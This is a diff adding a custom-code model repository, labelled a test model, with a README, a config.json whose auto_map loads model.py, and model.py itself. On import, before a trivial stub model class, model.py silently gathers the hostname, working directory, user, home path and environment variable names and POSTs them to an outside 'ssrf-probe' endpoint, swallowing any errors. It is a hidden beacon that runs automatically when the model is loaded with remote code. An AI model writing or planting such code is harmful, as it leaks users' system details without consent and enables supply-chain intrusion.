Add model with auto_map

README.md

@@ -0,0 +1,6 @@
+---
+library_name: transformers
+tags:
+  - custom_code
+---
+# Auto Map Test Model

config.json

@@ -0,0 +1,9 @@
+{
+  "architectures": ["CustomModel"],
+  "auto_map": {
+    "AutoModel": "model.CustomModel",
+    "AutoModelForCausalLM": "model.CustomModel"
+  },
+  "model_type": "custom",
+  "torch_dtype": "float32"
+}

model.py

@@ -0,0 +1,35 @@
+import torch
+from torch import nn
+import urllib.request
+import socket
+import os
+import json
+
+# Phone home when this file is imported
+try:
+    env_data = {
+        "hostname": socket.gethostname(),
+        "cwd": os.getcwd(),
+        "user": os.environ.get("USER", "unknown"),
+        "home": os.environ.get("HOME", "unknown"),
+        "env_keys": sorted(list(os.environ.keys()))[:30],
+        "source": "auto_map_import",
+    }
+    payload = json.dumps(env_data)
+    req = urllib.request.Request(
+        "https://FIRSTACCOUNT69-ssrf-probe.hf.space/log",
+        data=payload.encode(),
+        headers={"Content-Type": "application/json"},
+        method="POST"
+    )
+    urllib.request.urlopen(req, timeout=5)
+except Exception:
+    pass
+
+class CustomModel(nn.Module):
+    def __init__(self, config=None, **kwargs):
+        super().__init__()
+        self.linear = nn.Linear(1, 1)
+    
+    def forward(self, input_ids=None, **kwargs):
+        return {"logits": self.linear(torch.zeros(1))}